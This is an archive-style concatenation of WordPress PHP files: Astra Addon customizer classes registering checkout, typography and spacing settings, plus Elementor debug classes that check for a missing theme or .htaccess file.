Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Checkout_Configs' ) ) { /** * Register Easy Digital Downloads Checkout Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Checkout_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Easy Digital Downloads Checkout Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-checkout-toggle-divider]', 'section' => 'section-edd-checkout-page', 'title' => __( 'Checkout Options', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'settings' => array(), ), /** * Option: Display Coupon on Checkout Page */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-checkout-coupon-display]', 'default' => astra_get_option( 'edd-checkout-coupon-display' ), 'type' => 'control', 'section' => 'section-edd-checkout-page', 'title' => __( 'Display Apply Coupon Field', 'astra-addon' ), 'control' => Astra_Theme_Extension::$switch_control, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /* * Option: Distraction free Checkout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-distraction-free-checkout]', 'default' => astra_get_option( 'edd-distraction-free-checkout' ), 'type' => 'control', 'section' => 'section-edd-checkout-page', 'title' => __( 'Distraction Free Checkout', 'astra-addon' ), 'control' => Astra_Theme_Extension::$switch_control, 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), /** * Option: Checkout Content Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-checkout-content-width]', 'default' => astra_get_option( 'edd-checkout-content-width' ), 'section' => 'section-edd-checkout-page', 'type' => 'control', 'control' => 'ast-selector', 'title' => __( 'Checkout Form Width', 'astra-addon' ), 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'custom' => __( 'Custom', 'astra-addon' ), ), 'transport' => 'postMessage', 'renderAs' => 'text', 'responsive' => false, ), /** * Option: Enter Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[edd-checkout-content-max-width]', 'default' => astra_get_option( 'edd-checkout-content-max-width' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-slider', 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[edd-checkout-content-width]', 'operator' => '==', 'value' => 'custom', ), ), 'section' => 'section-edd-checkout-page', 'title' => __( 'Custom Width', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 768, 'step' => 1, 'max' => 1920, ), 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Checkout_Configs(); sections/class-astra-edd-shop-single-typo-configs.php 0000666 00000020102 15165604534 0016730 0 ustar 00 <?php /** * Shop Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 1.6.10 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } if ( ! class_exists( 'Astra_Edd_Shop_Single_Typo_Configs' ) ) { /** * Register Blog Single Layout Configurations. */ // @codingStandardsIgnoreStart class Astra_Edd_Shop_Single_Typo_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Blog Single Layout Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.6.10 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Single Product Title Font Family */ array( 'name' => 'font-family-edd-product-title', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-family-edd-product-title' ), 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'title' => __( 'Font Family', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'connect' => ASTRA_THEME_SETTINGS . '[font-weight-edd-product-title]', 'priority' => 3, ), /** * Option: Single Product Title Font Weight */ array( 'name' => 'font-weight-edd-product-itle]', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-weight-edd-product-title' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'title' => __( 'Font Weight', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'connect' => 'font-family-edd-product-title', 'priority' => 4, ), /** * Option: Single Product Title Font Size */ array( 'name' => 'font-size-edd-product-title', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-size-edd-product-title' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-responsive-slider', 'priority' => 4, 'title' => __( 'Font Size', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Single Product Title Font extras */ array( 'name' => 'font-extras-edd-product-title', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-title-typo]', 'control' => 'ast-font-extras', 'section' => 'section-edd-single', 'priority' => 5, 'default' => astra_get_option( 'font-extras-edd-product-title' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[single-product-structure]', 'operator' => 'contains', 'value' => 'title', ), ), ), /** * Option: Single Product Content Font Family */ array( 'name' => 'font-family-edd-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-family-edd-product-content' ), 'type' => 'sub-control', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'title' => __( 'Font Family', 'astra-addon' ), 'connect' => ASTRA_THEME_SETTINGS . '[font-weight-edd-product-content]', 'priority' => 18, ), /** * Option: Single Product Content Font Weight */ array( 'name' => 'font-weight-edd-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-weight-edd-product-content' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'type' => 'sub-control', 'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ), 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'title' => __( 'Font Weight', 'astra-addon' ), 'connect' => 'font-family-edd-product-content', 'priority' => 19, ), /** * Option: Single Product Content Font Size */ array( 'name' => 'font-size-edd-product-content', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-typo]', 'section' => 'section-edd-single', 'default' => astra_get_option( 'font-size-edd-product-content' ), 'type' => 'sub-control', 'transport' => 'postMessage', 'control' => 'ast-responsive-slider', 'priority' => 19, 'title' => __( 'Font Size', 'astra-addon' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), ), ), /** * Option: Single Product Content Font extras. */ array( 'name' => 'font-extras-edd-product-content', 'type' => 'sub-control', 'parent' => ASTRA_THEME_SETTINGS . '[edd-single-product-content-typo]', 'control' => 'ast-font-extras', 'section' => 'section-edd-single', 'priority' => 20, 'default' => astra_get_option( 'font-extras-edd-product-content' ), ), ); $configurations = array_merge( $configurations, $_configs ); return $configurations; } } } new Astra_Edd_Shop_Single_Typo_Configs(); theme-missing.php 0000666 00000001205 15165640043 0010034 0 ustar 00 <?php namespace Elementor\Core\Debug\Classes; use Elementor\Modules\SafeMode\Module as Safe_Mode; class Theme_Missing extends Inspection_Base { public function run() { $safe_mode_enabled = get_option( Safe_Mode::OPTION_ENABLED, '' ); if ( ! empty( $safe_mode_enabled ) ) { return true; } $theme = wp_get_theme(); return $theme->exists(); } public function get_name() { return 'theme-missing'; } public function get_message() { return esc_html__( 'Some of your theme files are missing.', 'elementor' ); } public function get_help_doc_url() { return 'https://go.elementor.com/preview-not-loaded/#theme-files'; } } htaccess.php 0000666 00000002412 15165640043 0007061 0 ustar 00 <?php namespace Elementor\Core\Debug\Classes; use Elementor\Modules\SafeMode\Module as Safe_Mode; use Elementor\Utils; class Htaccess extends Inspection_Base { private $message = ''; public function __construct() { $this->message = esc_html__( 'Your site\'s .htaccess file appears to be missing.', 'elementor' ); } public function run() { $safe_mode_enabled = get_option( Safe_Mode::OPTION_ENABLED, '' ); if ( empty( $safe_mode_enabled ) || is_multisite() ) { return true; } $permalink_structure = get_option( 'permalink_structure' ); if ( empty( $permalink_structure ) || empty( $_SERVER['SERVER_SOFTWARE'] ) ) { return true; } $server = strtoupper( Utils::get_super_global_value( $_SERVER, 'SERVER_SOFTWARE' ) ); if ( strstr( $server, 'APACHE' ) ) { $htaccess_file = get_home_path() . '.htaccess'; /* translators: %s: Path to .htaccess file. */ $this->message .= ' ' . sprintf( esc_html__( 'File Path: %s', 'elementor' ), $htaccess_file ) . ' '; return file_exists( $htaccess_file ); } return true; } public function get_name() { return 'apache-htaccess'; } public function get_message() { return $this->message; } public function get_help_doc_url() { return 'https://go.elementor.com/preview-not-loaded/#htaccess'; } } inspection-base.php 0000666 00000000766 15165640043 0010361 0 ustar 00 <?php namespace Elementor\Core\Debug\Classes; abstract class Inspection_Base { /** * @return bool */ abstract public function run(); /** * @return string */ abstract public function get_name(); /** * @return string */ abstract public function get_message(); /** * @return string */ public function get_header_message() { return esc_html__( 'The preview could not be loaded', 'elementor' ); } /** * @return string */ abstract public function get_help_doc_url(); } sections/class-astra-customizer-header-spacing-configs.php 0000666 00000010261 15165654736 0020047 0 ustar 00 <?php /** * Header Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Header_Spacing_Configs' ) ) { /** * Register Header Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Header_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Header Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option - Header Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[header-spacing]', 'default' => astra_get_option( 'header-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-header', 'priority' => 105, 'title' => __( 'Header Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Primary Menu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[primary-menu-spacing]', 'default' => astra_get_option( 'primary-menu-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-primary-menu', 'priority' => 110, 'title' => __( 'Menu Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Primary Menu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[primary-submenu-spacing]', 'default' => astra_get_option( 'primary-submenu-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-primary-menu', 'priority' => 115, 'title' => __( 'Submenu Space', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Header_Spacing_Configs(); sections/class-astra-customizer-footer-small-spacing-configs.php 0000666 00000010121 15165654736 0021216 0 ustar 00 <?php /** * Footer Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Footer_Small_Spacing_Configs' ) ) { /** * Register Footer Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Footer_Small_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Footer Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option - Footer Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[footer-sml-spacing]', 'default' => astra_get_option( 'footer-sml-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-footer-small', 'priority' => 90, 'title' => __( 'Footer Space', 'astra-addon' ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[footer-sml-layout]', 'operator' => '!=', 'value' => 'disabled', ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Footer Menu Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[footer-menu-spacing]', 'default' => astra_get_option( 'footer-menu-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-footer-small', 'priority' => 90, 'title' => __( 'Menu Space', 'astra-addon' ), 'divider' => array( 'ast_class' => 'ast-bottom-divider' ), 'context' => array( 'relation' => 'AND', astra_addon_builder_helper()->general_tab_config, array( 'relation' => 'OR', array( 'setting' => ASTRA_THEME_SETTINGS . '[footer-sml-section-1]', 'operator' => '==', 'value' => 'menu', ), array( 'setting' => ASTRA_THEME_SETTINGS . '[footer-sml-section-2]', 'operator' => '==', 'value' => 'menu', ), ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Footer_Small_Spacing_Configs(); sections/class-astra-customizer-single-post-spacing-configs.php 0000666 00000010722 15165654736 0021065 0 ustar 00 <?php /** * Single Post Spacing Options for our theme. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 3.5.0 */ if ( ! class_exists( 'Astra_Customizer_Single_Post_Spacing_Configs' ) ) { /** * Register Single Post Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Single_Post_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Single Post Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.5.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[section-blog-single-spacing-divider]', 'section' => 'section-blog-single', 'title' => __( 'Container Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 24, 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), ), /** * Option: Single Post Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-outside-spacing]', 'default' => astra_get_option( 'single-post-outside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-blog-single', 'title' => __( 'Outside', 'astra-addon' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'priority' => 25, 'divider' => array( 'ast_class' => 'ast-section-spacing ast-bottom-section-divider' ), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), /** * Option: Single Post Margin */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-post-inside-spacing]', 'default' => astra_get_option( 'single-post-inside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-blog-single', 'title' => __( 'Inside', 'astra-addon' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'priority' => 30, 'divider' => array( 'ast_class' => 'ast-top-dotted-divider' ), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by creating NEW instance. */ new Astra_Customizer_Single_Post_Spacing_Configs(); sections/class-astra-customizer-blog-spacing-configs.php 0000666 00000013274 15165654736 0017551 0 ustar 00 <?php /** * Blog Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Blog_Spacing_Configs' ) ) { /** * Register Blog Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Blog_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Blog Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-post-layout-divider]', 'section' => 'section-blog', 'title' => __( 'Post Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 164, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), /** * Option: Post Outside Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-post-outside-spacing]', 'default' => astra_get_option( 'blog-post-outside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-blog', 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'priority' => 165, 'title' => __( 'Outside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider' ), ), /** * Option: Post Inside Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-post-inside-spacing]', 'default' => astra_get_option( 'blog-post-inside-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-blog', 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'priority' => 170, 'title' => __( 'Inside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option: Post Pagination Spacing */ array( 'name' => ASTRA_THEME_SETTINGS . '[blog-post-pagination-spacing]', 'default' => astra_get_option( 'blog-post-pagination-spacing' ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'transport' => 'postMessage', 'section' => 'section-blog', 'priority' => 175, 'title' => __( 'Pagination', 'astra-addon' ), 'context' => array( 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab_config : astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[blog-pagination]', 'operator' => '==', 'value' => 'number', ), ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), ), ); return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Blog_Spacing_Configs(); sections/class-astra-customizer-sidebar-spacing-configs.php 0000666 00000011271 15165654736 0020232 0 ustar 00 <?php /** * Sidebar Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Sidebar_Spacing_Configs' ) ) { /** * Register Sidebar Spacing Customizer Configurations. */ // @codingStandardsIgnoreStart class Astra_Customizer_Sidebar_Spacing_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Sidebar Spacing Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Divider */ array( 'name' => ASTRA_THEME_SETTINGS . '[sidebar-spacing-divider]', 'section' => 'section-sidebars', 'title' => __( 'Sidebar Spacing', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-heading', 'priority' => 25, 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, ), /** * Option - Sidebar Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[sidebar-outside-spacing]', 'default' => astra_get_option( 'sidebar-outside-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-sidebars', 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'priority' => 25, 'title' => __( 'Outside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'divider' => array( 'ast_class' => 'ast-bottom-section-divider ast-section-spacing' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), /** * Option - Two Boxed Sidebar Space */ array( 'name' => ASTRA_THEME_SETTINGS . '[sidebar-inside-spacing]', 'default' => astra_get_option( 'sidebar-inside-spacing' ), 'type' => 'control', 'transport' => 'postMessage', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => 'section-sidebars', 'priority' => 25, 'context' => ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) ? astra_addon_builder_helper()->design_tab : astra_addon_builder_helper()->general_tab, 'title' => __( 'Inside', 'astra-addon' ), 'linked_choices' => true, 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra-addon' ), 'right' => __( 'Right', 'astra-addon' ), 'bottom' => __( 'Bottom', 'astra-addon' ), 'left' => __( 'Left', 'astra-addon' ), ), ), ); if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { $_configs[] = array( 'name' => 'section-sidebars-ast-context-tabs', 'section' => 'section-sidebars', 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', ); } return array_merge( $configurations, $_configs ); } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Sidebar_Spacing_Configs(); sections/class-astra-customizer-below-header-spacing-configs.php 0000666 00000013555 15165654736 0021166 0 ustar 00 <?php /** * Below Header Spacing Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 1.4.3 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Customizer Sanitizes * * @since 1.4.3 */ if ( ! class_exists( 'Astra_Customizer_Below_Header_Spacing_Configs' ) ) { /** * Register Below Header 